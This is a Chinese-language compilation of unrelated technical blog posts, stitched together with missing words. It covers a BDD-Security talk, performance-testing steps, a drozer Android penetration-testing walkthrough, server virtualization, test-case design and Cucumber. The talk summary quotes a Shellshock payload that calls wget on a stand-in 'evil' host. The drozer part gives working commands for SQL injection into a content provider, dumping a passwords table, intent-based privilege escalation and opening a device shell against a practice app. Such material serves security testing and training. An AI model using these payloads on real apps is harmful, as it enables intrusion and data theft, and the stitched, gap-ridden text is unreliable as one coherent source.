2014年12月28日
continuumsecurity创始人stephen de vries，在velocity europe 2014大会上提出了持续且可视化的的观点。stephen表示，那些在开发过程中用于将qa嵌入整个开发流程的方法和工具都能同样的用于安全测试。bdd-security是一个基于jbehave，且遵循given-when-then方法的安全测试框架。
传统的安全测试都遵循瀑布流程，也就是说安全团队总是在开发阶段的末期才参与进来，并且通常需要外部专家的帮助。在整个开发流程中，渗透测试总是被安排到很晚才做，使得为应用做安全防范的任务尤其困难且复杂。stephen认为安全测试完全可以变得像qa一样：每个人都对安全问题负责；安全问题可以在更接近代码的层面考虑；安全测试完全可以嵌入一个持续集成的开发过程中。
为了论证qa和安全测试只有量的区别而没有质的区别，stephen展示了c. maartmann-moe和bill sempf分别发布的推特：
从qa的角度：
qa工程师走进一家酒吧，点了一杯啤酒；点了0杯啤酒；点了999999999杯啤酒；点了一只蜥蜴；点了-1杯啤酒；点了一个sfdeljknesv。
从安全的角度：
渗透测试工程师走进一家酒吧，点了一杯啤酒；点了”>杯啤酒；点了’or 1=1-杯啤酒；点了() { :; }; wget -o /beers http://evil; /杯啤酒。 要将安全测试集成进敏捷开发流程中，首先需要满足的条件是：可见性，以便采取及时应对措施并修补；可测试性，以便于自动化，比仅仅简单的扫描更有价值。stephen发现bdd工具族就同时满足了可见性及可测试性，因此他开始着手构建bdd-security安全测试框架。
由于bdd-security是基于jbehave构建的，因此它使用bdd的标准说明语言gherkin。一个bdd-security测试场景如下：
scenario: transmit authentication credentials over https
meta: @id auth_https
given the browser is configured to use an intercepting proxy
and the proxy logs are cleared
and the default user logs in with credentials from: users.table
and the http request-response containing the default credentials is inspected
then the protocol should be https
bdd-security用户故事的编写与通常做法不太一样。bdd-security说明页面上写着：
本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立，这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中，有时甚至无需修改。
这也说明bdd-security框架认为对许多应用来说，有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然，必要的时候你也完全可以编写自己的用户故事。
bdd-security依赖于第三方安全测试工具来执行具体的安全相关的行为，例如应用扫描。这些工具有owasp zap或nessus等。
stephen还提到其它一些有类似功能的工具。如zap-webdriver就是一款更简单的工具，不喜欢bdd方式的人可以考虑采用它。gauntlt与bdd-security框架类似，同样支持bdd，只是它使用的编程语言是。mittn用编写并且同样也使用gherkin。
随着浏览器功能的不断完善，用户量不断的攀升，涉及到服务的功能在不断的增加，对于我们来说，我们不仅要保证服务端功能的正确性，也要验证服务端程序的性能是否符合要求。那么都要做些什么呢？我们该怎样进行性能测试呢？
性能测试一般会围绕以下这些问题而进行：
1. 什么情况下需要做性能测试？
2. 什么时候做性能测试？
3. 做性能测试需要准备哪些内容？
4. 什么样的性能指标是符合要求的？
5. 性能测试需要收集的数据有哪些？
6. 怎样收集这些数据？
7. 如何分析收集到的数据？
8. 如何给出性能测试报告？
性能测试的执行过程及要做的事儿主要包含以下内容：
1. 测试评估阶段
在这个阶段，我们要评估被测的产品是否要进行性能测试，并且对目前的服务器环境进行粗估，服务的性能是否满足条件。
首先要明确只要涉及到准备上线的服务端产品，就需要进行性能测试。其次如果产品需求中明确提到了性能指标，那也必须要做性能测试。
测试人员在进行性能测试前，需要根据当前的收集到的各种信息，预先做性能的评估，收集的内容主要包括带宽、请求包大小、并发用户数和当前web服务的带宽等
2. 测试准备阶段
在这个阶段，我们要了解以下内容：
a. 服务器的架构是什么样的，例如：web服务器是什么？是如何配置的？用的是什么？服务用的是什么语言编写的？；
b. 服务端功能的内部逻辑实现；
c. 服务端与数据库是如何交互的，例如：数据库的表结构是什么样的？服务端功能是怎样操作数据库的？
d. 服务端与客户端之间是如何进行交互的，即接口定义；
通过收集以上信息，测试人员整理出服务器端各模块之间的交互图，客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流程图。
e. 该服务上线后的用户量预估是多少，如果无法评估出用户量，那么可以通过设计测试执行的场景得出这个值；
f. 上线要部署到多少台机器上，每台机器的负载均衡是如何设计的，每台机器的配置什么样的，网络环境是什么样的。
g. 了解测试环境与线上环境的不同，例如网络环境、硬件配置等
h. 制定测试执行的策略，是需要验证需求中的指标能否达到，还是评估系统的最大处理能力。
i. 沟通上线的指标
通过收集以上信息，确定性能该如何设计，如何设计性能测试用例执行的场景，以及上线指标的评估。
3. 测试设计阶段
根据测试人员通过之前整理的交互图和流程图，设计相应的性能测试用例。性能测试用例主要分为预期目标用户测试，用户并发测试，疲劳强度与大数量测试，网络性能测试，服务器性能测试，具体编写的测试用例要更具实际情况进行裁减。
用例编写的步骤大致分为：
a. 通过脚本模拟单一用户是如何使用这个web服务的。这里模拟的可以是用户使用web服务的某一个动作或某几个动作，某一个功能或几个功能，也可以是使用web服务的整个过程。
b. 根据客户端的实际情况和服务器端的策略，通过将脚本中可变的数据进行参数化，来模拟多个用户的操作。
c. 验证参数化后脚本功能的正确性。
d. 添加检查点
e. 设计脚本执行的策略，如每个功能的执行次数，各个功能的执行顺序等
4. 测试执行阶段
根据客户端的产品行为设计web服务的测试执行场景及测试执行的过程，即测试执行期间发生的事儿。通过监控程序收集web服务的性能数据和web服务所在系统的性能数据。
在测试执行过程中，还要不断的关注以下内容：
a. web服务的连接速度如何？
b. 每秒的点击数如何？
c. web服务能允许多少个用户同时在线？
d. 如果超过了这个数量，会出现什么现象？
e. web服务能否处理大量用户对同一个页面的请求？
f. 如果web服务崩溃，是否会自动恢复？
g. 系统能否同一时间响应大量用户的请求？
h. 打压机的系统负载状态。
5. 测试分析阶段
将收集到的数据制成图表，查看各指标的性能变化曲线，结合之前确定的上线指标，对各项数据进行分析，已确定是否继续对web服务进行测试，结果是否达到了期望值。
6. 测试验证阶段
在开发针对发现的性能问题进行修复后，要再执行性能测试的用例对问题进行验证。这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能，所以在验证性能的同时，也要关注原有功能是否受到了影响
一、安装与启动
1. 安装
第一步：从http://mwr.to/drozer下载drozer ( installer)
第二步：在设备中安装agent.apk
adb install agent.apk
2. 启动
第一步：在pc上使用adb进行端口转发，转发到drozer使用的端口31415
adb forward tcp:31415 tcp:31415
第二步：在android设备上开启drozer agent
选择embedded server-enable
第三步：在pc上开启drozer console
drozer console connect
二、步骤
1.获取包名
dz> run app.package.list -f sieve
com.mwr.example.sieve
2.获取应用的基本信息
run app.package.info -a com.mwr.example.sieve
3.确定攻击面
run app.package.attacksurface com.mwr.example.sieve
4.activity
（1）获取activity信息
run app.activity.info -a com.mwr.example.sieve
（2）启动activity
run app.activity.start --component com.mwr.example.sieve
dz> help app.activity.start
usage: run app.activity.start [-h] [--action action] [--category category]
[--component package component] [--data-uri data_uri]
[--extra type key value] [--flags flags [flags ...]]
[--mimetype mimetype]
5.content provider
（1）获取content provider信息
run app.provider.info -a com.mwr.example.sieve
（2）content providers（数据泄露）
先获取所有可以访问的uri：
run scanner.provider.finduris -a com.mwr.example.sieve
获取各个uri的数据：
run app.provider.query
content://com.mwr.example.sieve.dbcontentprovider/passwords/ --vertical
查询到数据说明存在漏洞
（3）content providers（注入）
run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --selection "'"
报错则说明存在sql注入。
列出所有表：
run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "* from sqlite_master where type='table';--"
获取某个表（如key）中的数据：
run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "* from key;--"
（4）同时检测sql注入和目录遍历
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
6 intent组件触发（拒绝服务、权限提升）
利用intent对组件的触发一般有两类漏洞，一类是拒绝服务，一类的权限提升。拒绝服务危害性比较低，更多的只是影响应用服务质量；而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用，从而帮助其完成越权行为。
1.查看暴露的广播组件信息：
run app.broadcast.info -a com.package.name 获取broadcast receivers信息
run app.broadcast.send --component 包名 --action android.intent.action.xxx
2.尝试拒绝服务攻击检测，向广播组件发送不完整intent（空action或空extras）：
run app.broadcast.send 通过intent发送broadcast receiver
(1) 空action
run app.broadcast.send --component 包名 receivername
run app.broadcast.send --component 包名 receivername
(2) 空extras
run app.broadcast.send --action android.intent.action.xxx
3.尝试权限提升
权限提升其实和拒绝服务很类似，只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关，所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具，可以参考intentfuzzer，其结合了drozer以及hook技术，采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令：
（1）获取service详情
run app.service.info -a com.mwr.example.sieve
不使用drozer启动service
am startservice –n 包名/service名
（2）权限提升
run app.service.start --action com.test.vulnerability.send_sms --extra string dest 11111 --extra string text 1111 --extra string op send_sms
7.文件操作
列出指定文件路径里全局可写/可读的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
run app.broadcast.send --component 包名 --action android.intent.action.xxx
8.其它模块
shell.start 在设备上开启一个交互shell
tools.file.upload / tools.file.download 上传/下载文件到设备
tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件
关于服务器虚拟化的概念，业界有不同的定义，但其核心是一致的，即它是一种方法，能够在整合多个应用服务的同时，通过区分应用服务的优先次序将服务器资源分配给最需要它们的负载来简化管理和提高效率。其主要功能包括以下四个方面：
集成整合功能。虚拟化服务器主要是由物理服务器和虚拟化程序构成的，通过把一台物理服务器划分为多个虚拟机，或者把若干个分散的物理服务器虚拟为一个整体逻辑服务器，从而将多个和应用服务整合到强大的虚拟化架构上。
动态迁移功能。这里所说的动态迁移主要是指v2v(虚拟机到虚拟机的迁移)技术。具体来讲，当某一个服务器因故障停机时，其承载的虚拟机可以自动切换到另一台虚拟服务器，而在整个过程中应用服务不会中断，实现系统零宕机在线迁移。
资源分配功能。虚拟化架构技术中引入了动态资源调度技术，系统将所有虚拟服务器作为一个整体资源统一进行管理，并按实际需求自动进行动态资源调配，在保证系统稳定运行的前提下，实现资源利用最大化。
强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况，实现对全部虚拟资源的管理、维护及部署等操作。
服务器虚拟化的益处
采用服务器虚拟化技术的益处主要表现在以下几个方面。
节省采购费用。通过虚拟化技术对应用服务器进行整合，可以大幅缩减企业在采购环节的开支，在硬件环节可以为企业节省34%～80%的采购成本。
同时，还可以节省软件采购费用。软件许可成本是企业不可忽视的重要支出。而随着、红帽等软件巨头的加入，虚拟化架构技术在软件成本上的优势也逐渐得以体现。
降低系统运行维护成本。由于虚拟化在整合服务器的同时采用了更为出色的管理工具，减少了管理维护人员在网络、线路、软硬件维护方面的工作量，信息部门得以从传统的维护管理工作中解放出来，将更多的时间和精力用于推动创新工作和业务增长等活动，这也为企业带来了利益。
通过虚拟化技术可以减少物理服务器的数量，这就意味着企业机房耗电量、散热量的降低，同时还为企业节省了空调、机房配套设备的改造升级费用。
提高资源利用率。保障业务系统的快速部署是信息化工作的一项重要指标，而传统模式中服务器的采购安装周期较长，一定程度上限制了系统部署效率。利用虚拟化技术，可以快速搭建虚拟系统平台，大幅缩减部署筹备时间，提高工作效率。
由于虚拟化服务器具有动态资源分配功能，因此当一台虚拟机的应用负载趋于饱和时，系统会根据之前定义的分配规则自动进行资源调配。根据大部分虚拟化技术厂商提供的数据指标来看，通过虚拟化整合服务器后，资源平均利用率可以从5%～15%提高到60%～80%。
提高系统的安全性。传统服务器硬件维护通常需要数天的筹备期和数小时的维护窗口期。而在虚拟化架构技术环境下，服务器迁移只需要几秒钟的时间。由于迁移过程中服务没有中断，管理员无须申请系统停机，在降低管理维护工作量的同时，提高系统运行连续性。
目前虚拟化主流技术厂商均在其虚拟化平台中引入数据快照以及虚拟存储等安全机制，因此在数据安全等级和系统容灾能力方面，较原有单机运行模式有了较大提高。
目前 我司正在应用aws 确实很不错，节省成本 服务稳定，比什么阿里云 强了不知道多少倍
1.测试用例 ：分有基本流和备选流。
2.要先确定用例描述，再在测试用例 实施矩阵中确定相应的测试用例数据。
3.从补充规约中生成测试用例
（1）为生成测试用例
（2）为安全性/访问控制测试生成测试用例
关键：先指定执行用例的主角
（3）为配置测试生成测试用例
主要是为了核实测试目标在不同的配置情况下（如不同的os，browser，cpu速度等）是否能正常 地 或执行。
针对第个关键配置，每个可能有问题的配置都至少应该有一个测试用例。
（4）为安装测试生成测试用例
a.需要对以下各种安装情况设计测试用例：
分发介质（如磁盘，cd-rom和文件服务器）
首次安装
完全安装
自定义安装
升级安装
b.测试目标应包括所有构件的安装
客户机，中间层，服务器
（5）为其他非功能性测试生成测试用例
如操作测试，对性能瓶颈，系统容量或测试目标的强度承受能力进行调查的测试用例
4.在及的同时都应该进行可靠性测试。
5.为产品验收测试生成测试用例
6.为回归测试编制测试用例
a.回归测试是比较同一测试目标的两个版本或版本，并将将差异确定为潜在的缺陷。
b.为使测试用例发挥回归测试和复用的价值，同时将维护成本减至最低，应：
确保测试用例只确定关键的数据元素（创建/支持被测试的条件支持的测上试用例）
确保每个测试用例都说明或代表一个唯一的输入集或事件序列，其结果是独特的测试目标行为
消除多余或等效的测试用例
将具有相同的测试目标初始状态和测试数据状态的测试用例组合在一起
cucumber是ruby世界的bdd框架，开发人员主要与两类文件打交到，feature文件和相应的step文件。feature文件是以feature为后缀名的文件，以given-when-then的方式描述了系统的场景(scenarios)行为；step文件为普通的ruby文件，feature文件中的每个given/when/then步骤在step文件中都有对应的ruby执行代码，两类文件通过正则表达式相关联。笔者在用cucumber watir做回归测试时对cucumber工程的目录结构执行过程进行了研究。
安装好cucumber后，如果在终端直接执行cucumber命令，得到以下输出：
输出结果表明：cucumber期待当前目录下存在名为features的子目录。建好features文件夹后，重新执行cucumber命令，输出如下：
cucumber运行成功，但由于features文件夹下没有任何内容，故得到上述输出结果。
网上大多数关于cucumber的教程都建议采用以下目录结构，所有的文件（夹）都位于features文件夹下。
feature文件（如test.feature）直接位于features文件夹下，可以为每个应用场景创建一个feature文件；与feature文件对应的step文件（如test.rb）位于step_definitions子文件夹下；同时，存在support子文件夹，其下的env.rb文件为环境配置文件。在这样的目录结构条件下执行cucumber命令，会首先执行env.rb做前期准备工作，比如可以用watir新建浏览器窗口，然后cucumber将test.rb文件读入内存，最后执行test.feature文件，当遇到given/when/then步骤时，cucumber将在test.rb中搜索是否有相应的step，如果有，则执行相应的ruby代码。
这样的目录结构只是推荐的目录结构，笔者通过反复的试验得出了以下结论：对于cucumber而言，除了顶层的features文件夹是强制性的之外，其它目录结构都不是强制性的，cucumber将对features文件夹下的所有内容进行扁平化（flatten）处理和首字母排序。具体来说，cucumber在运行时，首先将递归的执行features文件夹下的所有ruby文件(其中则包括step文件)，然后通过相同的方式执行feature文件。但是，如果features文件夹下存在support子文件夹，并且support下有名为env.rb的文件，cucumber将首先执行该文件，然后执行support下的其它文件，再递归执行featues下的其它文件。
比如有如下cucumber目录结构：
为了方便记录cucumber运行时的文件执行顺序，在features文件夹下的所有ruby文件中加上以下代码：
puts file.basename(__file__)
此行代码的作用是在一个ruby文件执行时输出该文件的名字，此时执行cucumber命令，得到以下输出（部分）结果：
上图即为ruby文件的执行顺序，可以看出，support文件夹下env.rb文件首先被执行，其次按照字母排序执行c.rb和d.rb；接下来，cucumber将features文件夹下的所用文件（夹）扁平化，并按字母顺序排序，从而先执行a.rb和b.rb，而由于other文件夹排在step_definitions文件夹的前面，所以先执行other文件夹下的ruby文件（也是按字母顺序执行：先f.rb，然后g.rb），最后执行step_definitions下的e.rb。
当执行完所有ruby文件后，cucumber开始依次读取feature文件，执行顺序也和前述一样，即: a.feature --> b.feature --> c.feature
笔者还发现，这些ruby文件甚至可以位于features文件夹之外的任何地方，只是需要在位于features文件夹之内的ruby文件中require一下，比如在env.rb中。
: : :
text-to-speech function is limited to 100 characters